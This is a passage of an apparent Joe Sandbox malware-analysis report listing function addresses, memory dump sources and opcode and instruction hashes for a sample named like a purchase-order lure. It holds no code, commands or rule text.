Opcode Fuzzy Hash: 4d2a99c41ade68f11996a2538f110afdbf46f7f016064840c52d675fa96e51e3
Instruction Fuzzy Hash: 8F513C76600104AFCB499FA8D814E697BB3FF8D31471A85D8E2099B372DB36DC61EB50

Function 02782C70 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc90d4562b21376f5e093711888b3f133b9d03113a6d8c592db196ee2d606e3
Instruction ID: 0f96eef74e6ec940cf16a11bb6c5f21157b00c117e3fb141a0b247bf4c8f5123
Opcode Fuzzy Hash: abc90d4562b21376f5e093711888b3f133b9d03113a6d8c592db196ee2d606e3
Instruction Fuzzy Hash: A6518F34A41244CFDB14EF69D844BEEB7F2FB88312F24C5A6D905AB256E774AC41CB50

Function 05CCF0D9 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc3ea2fcc1c48246886b95a48826b939522ed9e3e26776bf73acf077e270b00
Instruction ID: 078ea31271844351fc7d5312136c7eeed64ecb3ac6da1089aa11bad9d6e07612
Opcode Fuzzy Hash: cfc3ea2fcc1c48246886b95a48826b939522ed9e3e26776bf73acf077e270b00
Instruction Fuzzy Hash: BE519830B106588FCB04EBA4C458A6EBBB7AFC9700F5049ADE443AB394DF709D45DB91

Function 05CCB008 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70c8453e1af3ad701e4aa02e926cc3f0a01ca5805dffdf2bfe690952c8aaa68a
Instruction ID: de0a1ebeed219aa7fdc49e0313ca72714b24b2e90eb70533440b6f2a0a29fe7a
Opcode Fuzzy Hash: 70c8453e1af3ad701e4aa02e926cc3f0a01ca5805dffdf2bfe690952c8aaa68a
Instruction Fuzzy Hash: 2C51AE34B106099FCF04EF65E559AAEBBB6FF88705F004519F502973A0EF319986CB81

Function 02782D7C Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 844945758da96ca4f9ee01a164b1b7d38e9e9e3a51f9277db81b5a55ad415e3a
Instruction ID: 7b518995c385dbd6d6b410f7533e1499ee3f8fdecd7ceee740bd5438eb2c8713
Opcode Fuzzy Hash: 844945758da96ca4f9ee01a164b1b7d38e9e9e3a51f9277db81b5a55ad415e3a
Instruction Fuzzy Hash: 9651AE34A41144CFDB44EF55D844BADB7F2FB88312F24C5A6D905AB266E774AC41CF50

Function 05CCEAE0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 319cf15b34d059c8c92bac21ee35a57467f7de9a0b2ade653265fbd691a53041
Instruction ID: 9bcf658c339caa40f77c05d74189196017fc13c043c80f18d33ec3753996fb53
Opcode Fuzzy Hash: 319cf15b34d059c8c92bac21ee35a57467f7de9a0b2ade653265fbd691a53041
Instruction Fuzzy Hash: 3F416E713006109FD309DB69D869B2A7BEABFC9614F2044A9E246CB3A1DF71EC42C791

Function 05CC2D08 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 354bdc91592743c25b50e2e03eb2e65ad46b80017032f6d2b8b912bde47ed1eb
Instruction ID: 1decf6dc8d31312241052a918251f10d2a4d3756c49618750701e2684ee30b11
Opcode Fuzzy Hash: 354bdc91592743c25b50e2e03eb2e65ad46b80017032f6d2b8b912bde47ed1eb
Instruction Fuzzy Hash: 51413D38B04709CFD714DBA9D895F6ABBF2FB85700F1488ADE8469B294DB35D841CB50

Function 0278FC90 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 845fcd15775186fe03790575f4f7fb864f1a0857763c69efe061fd89076bccaf
Instruction ID: ec2199855271d6d71fdd5aeaeec0d6f8c13d866e71ef20a9d0f8856a743e09ca
Opcode Fuzzy Hash: 845fcd15775186fe03790575f4f7fb864f1a0857763c69efe061fd89076bccaf
Instruction Fuzzy Hash: C241F374D41208EFCB04EFA6D488AEDBBB2FF89301F10946AE915A7354DB346945CF51

Function 05CCEAF0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40d3cdedfb485dfb9133d244d1744e23aba83f0ca4494108d2ed21cbfd17288
Instruction ID: 069c62c770b66751fdbe8d243a01da5ffe7a3750e2903a86977cdaf7a4039857
Opcode Fuzzy Hash: f40d3cdedfb485dfb9133d244d1744e23aba83f0ca4494108d2ed21cbfd17288
Instruction Fuzzy Hash: AF3150713006109FD308DB69D5A9F2A77E6AFC8714F1044A8E606CB3A1DF71EC42C795

Function 05CCDBF0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46eb787bd058d4a09f33e10800e6c625df1b4cc00b0d9c12d4929823d05d1740
Instruction ID: 8444f56199d9b6fe24eff220ccf56b91e1b915d7070ed4b23792b9444a988fd0
Opcode Fuzzy Hash: 46eb787bd058d4a09f33e10800e6c625df1b4cc00b0d9c12d4929823d05d1740
Instruction Fuzzy Hash: 1D31F536610104AFCB05DF59D998EA9BBB2FF48324B1640B8F60A9B372C771ED55DB40

Function 02782F1E Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e03f49e58df111c557b2874b95a47b86a2f8d6ed53fd0c2d22a5b6b9616357a8
Instruction ID: 22bcba448a328118eea7ce0f3b9bf90e43e13edd5217377e9b48b4c294f846d3
Opcode Fuzzy Hash: e03f49e58df111c557b2874b95a47b86a2f8d6ed53fd0c2d22a5b6b9616357a8
Instruction Fuzzy Hash: 54415E34A44245CFD704EF58C484BA9B7B2FB46312F1486B5D915AB7AADB34EC41CF50

Function 05CC2E98 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5317622b6ba6c3dc030aa4546d5e116a7e804412d16a8415b805ca1bcbe3fa42
Instruction ID: 3f27d5f0c3d94573cab158a0f928e8ea1861079f2b31b19a1286486822c1c0a1
Opcode Fuzzy Hash: 5317622b6ba6c3dc030aa4546d5e116a7e804412d16a8415b805ca1bcbe3fa42
Instruction Fuzzy Hash: B5419379A0022ACFDB14DFA5C844ABEBFB1FF89311F0089A9E495D7250D731DA45CB90

Function 05CCA8A9 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aeb44e7bf03ff9fceca2ae29865756af7a7abc19047ea60f3227e7f8627a800
Instruction ID: 94c16e2e237084cdf4de7786d8004bf4cb09f39b5d3e08559146564d43c830cb
Opcode Fuzzy Hash: 2aeb44e7bf03ff9fceca2ae29865756af7a7abc19047ea60f3227e7f8627a800
Instruction Fuzzy Hash: B831D131700105DFCF049FA4D959A6DBBB2FF88310B1554A8EA4A9B3A1CA31DC92CB90

Function 05CC1B60 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a3efd0909b9f2987ef2fd1cb2fb2592f1abe0931a368380b0543593e02b500
Instruction ID: df2053e5dc6f69d0c4704ea5aaf1ee9e06b45803a321be7e1dbcfa43779c92a1
Opcode Fuzzy Hash: f8a3efd0909b9f2987ef2fd1cb2fb2592f1abe0931a368380b0543593e02b500
Instruction Fuzzy Hash: 2C21F5367042409FEB056E69D854A6E7B67EFC9320B54457EE909CB391DE718C11C7A0

Function 05CC384F Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487279928bb5d61feda14fcfeecca805ba4f04e5d7a695c14a4d422e6de220b0
Instruction ID: fdaf103117d1678367a924ac188b49b05c0bf0866ec556747fed1b61024c70e4
Opcode Fuzzy Hash: 487279928bb5d61feda14fcfeecca805ba4f04e5d7a695c14a4d422e6de220b0
Instruction Fuzzy Hash: A0410674A012148FEB24DB24DD95FA9BBB1BB49710F1049D9EA09AB3E0C631DD81CF50

Function 05CA0D14 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485533832.0000000005CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ca0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700fa9215cb7e6679717d52492e4ea0654bf27f410f24b2a97c8d43fd84daedf
Instruction ID: ef7bd3997c4e6cc4f47ddb91eee9514e166e56a8bcded1ce804a8150cbb7dd3f
Opcode Fuzzy Hash: 700fa9215cb7e6679717d52492e4ea0654bf27f410f24b2a97c8d43fd84daedf
Instruction Fuzzy Hash: 24316B36E0424ADFDB19CFA9C448BAEBFB1BB45309F148869D511A7290CB786981CF91

Function 05CC76F1 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df513844a11144fcd66cf195d4b97ec165086e1cd5abfd22d4ae444e6559ff4
Instruction ID: 950f57f6413f2bdf7e908c70fe1da76aade4b6147ce9edd90a479b1986768849
Opcode Fuzzy Hash: 7df513844a11144fcd66cf195d4b97ec165086e1cd5abfd22d4ae444e6559ff4
Instruction Fuzzy Hash: BE3169312002089FDF15CF29D884EAA3BB6FF88755F1585ADF806CB2A1DB71D995CB90

Function 05CCBDA8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a588c05a7f8f27ba23b384cb2f5a583306b8405aef773b5f8c9a96e8570fef
Instruction ID: c8f437add2adb971800ee67ac8c32872f71f99aad62ea6f4e5151ab0c914edf8
Opcode Fuzzy Hash: c9a588c05a7f8f27ba23b384cb2f5a583306b8405aef773b5f8c9a96e8570fef
Instruction Fuzzy Hash: 352102323082408FC3208BA9E445666BFE5EBC2729B5988FEE14EC7151DB31EC41C751

Function 05C9F408 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed81605771f3b70e78caffa532debf1e98667ef9d0393d6a98ce561b3b474f31
Instruction ID: a4f726751bf7b7bbaee7581e3db6922bcedce6042ef995c88491711ed592f45a
Opcode Fuzzy Hash: ed81605771f3b70e78caffa532debf1e98667ef9d0393d6a98ce561b3b474f31
Instruction Fuzzy Hash: 3231F4B0E042198FDB09CFAAD848AEEBBF2FB89311F10846AD415B7650D7705945CF91

Function 05C9F3F7 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f62298868dc45fad705490dbef1659567513fbd304b71c8b56b01c2794ceaa20
Instruction ID: 0154bf4613f3e44f79ea5593ee2e8d74c203786d4f095feae42b98bf21cef607
Opcode Fuzzy Hash: f62298868dc45fad705490dbef1659567513fbd304b71c8b56b01c2794ceaa20
Instruction Fuzzy Hash: 7631F2B4E002098FDB09CFAAD848BEEBBF2FB89310F14846AD415B7654D7709949CF91

Function 02781980 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be2432990c93cb9e53b35aac05f44df2040a4b5c5781a8983a2e5196a5df7591
Instruction ID: b24e13b3d313c06f88dc81bd4b8dc612b2872ace2050aa70c6dd7b4e2c1fe21f
Opcode Fuzzy Hash: be2432990c93cb9e53b35aac05f44df2040a4b5c5781a8983a2e5196a5df7591
Instruction Fuzzy Hash: D631B134A44105CFEB14EF94D4447E977F2FB88315FA895B6C00DA7254D7B49882CB66

Function 0615F8E0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389d5a3d60a00ad091a49f924db48d5ebbf5ebaa5a3a4f67b2965b9bcd0eccff
Instruction ID: 05a555f645891faa276519070570f41e3e947b5a4c41a800fcb9f805b1c4aec2
Opcode Fuzzy Hash: 389d5a3d60a00ad091a49f924db48d5ebbf5ebaa5a3a4f67b2965b9bcd0eccff
Instruction Fuzzy Hash: 76315A74E04609DFDB44CFAAD440AAEFBF6EB89300F11D469D829A3358E7345946CF90

Function 05CCD7F7 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef58e1c8c983a29ce0bd18f62ce118e282a1566043999485442ce8de822a5e45
Instruction ID: dec1db0e72b692aac26d5ee76dea70dbb35c6f233db8d232c4dc7c6a04e86d33
Opcode Fuzzy Hash: ef58e1c8c983a29ce0bd18f62ce118e282a1566043999485442ce8de822a5e45
Instruction Fuzzy Hash: 1B21A3317082959FDB11DF36D858A293FAABF8561170948FDF847CB291DA34D90187A0

Function 05CCDBE0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8967f98506bb8d8732cad158cfb4878f1c6292ec2dff586573be4ccc8858125
Instruction ID: d80984e3cba1c7147b9eff40929878aedf67b44b3989ac957dc38841d6bd5672
Opcode Fuzzy Hash: b8967f98506bb8d8732cad158cfb4878f1c6292ec2dff586573be4ccc8858125
Instruction Fuzzy Hash: 01215936600148AFCB05CF99E898D99BFB2FF8C310B0644E9F20A9B272D771E915DB50

Function 05C9F268 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe21da081461ea30038f5935e065a6741a0196842f86f1c00356e3714426d3b
Instruction ID: 4c7366365b5c4ad58e11cbe9ee22f9da62be3ca80f9a6105a540bf48737029ba
Opcode Fuzzy Hash: 5fe21da081461ea30038f5935e065a6741a0196842f86f1c00356e3714426d3b
Instruction Fuzzy Hash: CF31D2B4D08609DFCB09CFA6C548BAEBBF6BB49300F1094A9D419E7390D3749A80CF54

Function 05CC4F20 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31a7b3a9a5c3de14f7e9091b83443e8c3c5bed5e0d5255b6958b1668c4390d63
Instruction ID: 5b0c472a7e2e5a3ad858b92d05d75e6ea550893dffacd4fee39c3cc3250162ff
Opcode Fuzzy Hash: 31a7b3a9a5c3de14f7e9091b83443e8c3c5bed5e0d5255b6958b1668c4390d63
Instruction Fuzzy Hash: 3B217A35E04209DFDF14DFB5C494BAEBBF5AB44242F10C4AAE519D7290E734CA50CB91

Function 05C9F035 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c3462a6d5b4e4280374528b5c35bc800abefc5302718b5c1ea04b4bf36e5af6
Instruction ID: 8f5ea60eb8dad95cbf4f8934328273fa6004f05f892df8087f7a1bc7c4a37d44
Opcode Fuzzy Hash: 2c3462a6d5b4e4280374528b5c35bc800abefc5302718b5c1ea04b4bf36e5af6
Instruction Fuzzy Hash: 8E311274E00208DFCB09DFAAE8506EEBBF2FF88211F10806AE416A7364DB755951DF90

Function 05CC5A5C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d3c0cc21a0102b51652d232c8f6579082a114f69f0df453bab5a81b0611152
Instruction ID: dc92dcd292f78dabe8b39bcdc866502e3ca684a1667c2d7a95b7f81560e82f67
Opcode Fuzzy Hash: 07d3c0cc21a0102b51652d232c8f6579082a114f69f0df453bab5a81b0611152
Instruction Fuzzy Hash: 85216D703042559FCB05CF2AC884AAA7FE6BF8E200B098899FC45CB361DA31ED51CB20

Function 0265D030 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472191074.000000000265D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0265D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_265d000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1f78029dc4fa480d9d666af16a094ec412f21b94d13f3407bfd6a6390fd05c
Instruction ID: 7d2e89ec7a4204e6c085864c0591881c45c45f4c8586c64037746804ca3b6339
Opcode Fuzzy Hash: ee1f78029dc4fa480d9d666af16a094ec412f21b94d13f3407bfd6a6390fd05c
Instruction Fuzzy Hash: 8E21F2B2504284DFEB14EF14D9C4B2ABB65FB88714F24C569EC090B286C336D857CBA2

Function 05C9F26D Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: def6094195b33aff40d52468de17f4573497094a0d75f98d1fc1098423ffb331
Instruction ID: b44f790e2d7524fd062675a7209b5b68039e7c1bc549593e02664c4d173924be
Opcode Fuzzy Hash: def6094195b33aff40d52468de17f4573497094a0d75f98d1fc1098423ffb331
Instruction Fuzzy Hash: 7E31C2B4D04609DFDF0ACF96D548BADBBF6BB49300F209499D419A7390D3349A85CF54

Function 02781A95 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6b9ec309de8a6967c97cb3e229839bdc07fc5c25928f27217ee069de75076c
Instruction ID: f4411465dee41d459e2bc393a01b721c81174db9beb75a0cc16e826ab1fa5afb
Opcode Fuzzy Hash: 5d6b9ec309de8a6967c97cb3e229839bdc07fc5c25928f27217ee069de75076c
Instruction Fuzzy Hash: 2D319134A84109CFEB10EF54D4447E977F2FB88315FA891B5C00DAB254D7B49982CF66

Function 05CC1CF9 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd211e0bb246c622f9b792537b0d810fcc37b6def8c63ee5ba8d55cc418ae88
Instruction ID: 5239342570bd2ba4bb0ae3de4220160cd2f8c60b2430d6fff1bceb18116202d8
Opcode Fuzzy Hash: 3cd211e0bb246c622f9b792537b0d810fcc37b6def8c63ee5ba8d55cc418ae88
Instruction Fuzzy Hash: A1216B71200B458FE325CF2BD484396BBF2BF84324F54CE6DD49A8A6A1E778A584CB51

Function 05C90318 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67095e7e1d1e4d0d5fda57c03c105be7375b904023345cf7a6890fd4a03a8e2c
Instruction ID: 7ce585c50120480235efb01cc270a212b16a978313e4f82f8e525cf8737cdc77
Opcode Fuzzy Hash: 67095e7e1d1e4d0d5fda57c03c105be7375b904023345cf7a6890fd4a03a8e2c
Instruction Fuzzy Hash: 932155B5D05219CFDB08DFA6D4096EEBBFAFB88311F10A46AD405B3210D7745A44CBA1

Function 05CC5A50 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a9e049747aa2e9d50bc03ca1f08a8b44f1ae44b195e7f29e0f542b12094743f
Instruction ID: 8d00773f8a95ace6ab40810f19867e082ce7e7b72e8c4a5584baa37a03832843
Opcode Fuzzy Hash: 8a9e049747aa2e9d50bc03ca1f08a8b44f1ae44b195e7f29e0f542b12094743f
Instruction Fuzzy Hash: 092162B13042549FCB05CF6AC894AAA7FEAFF8D210B054899F855CB3B1DA31EC41CB20

Function 05C90328 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0599c64fdd71e40a7977176da2cfd8c22954d61922b54fb991be52ad9e565c7
Instruction ID: d21f0255442bf73ba7d54766816f971288d74c625c8a4ad075cedb52134d0904
Opcode Fuzzy Hash: e0599c64fdd71e40a7977176da2cfd8c22954d61922b54fb991be52ad9e565c7
Instruction Fuzzy Hash: 01214874D05219CFDF08DFA6D4086EEBBFAFB88311F10A82AD405B3210D7741A44CBA0

Function 05CC94D8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdc3dd8ce5cf538b3d805c1d49dd2296b8355969ce5d52730855be248113907
Instruction ID: 13a852484254d9e46b2d1576b1f5941ea7258bcf9df0568dfe82840e4812b39d
Opcode Fuzzy Hash: 6bdc3dd8ce5cf538b3d805c1d49dd2296b8355969ce5d52730855be248113907
Instruction Fuzzy Hash: 95210871A002098FDB04DF98D545ADDBBF2FF88301F1049A8E445BB261CB72AE84CBA0

Function 05C984D0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

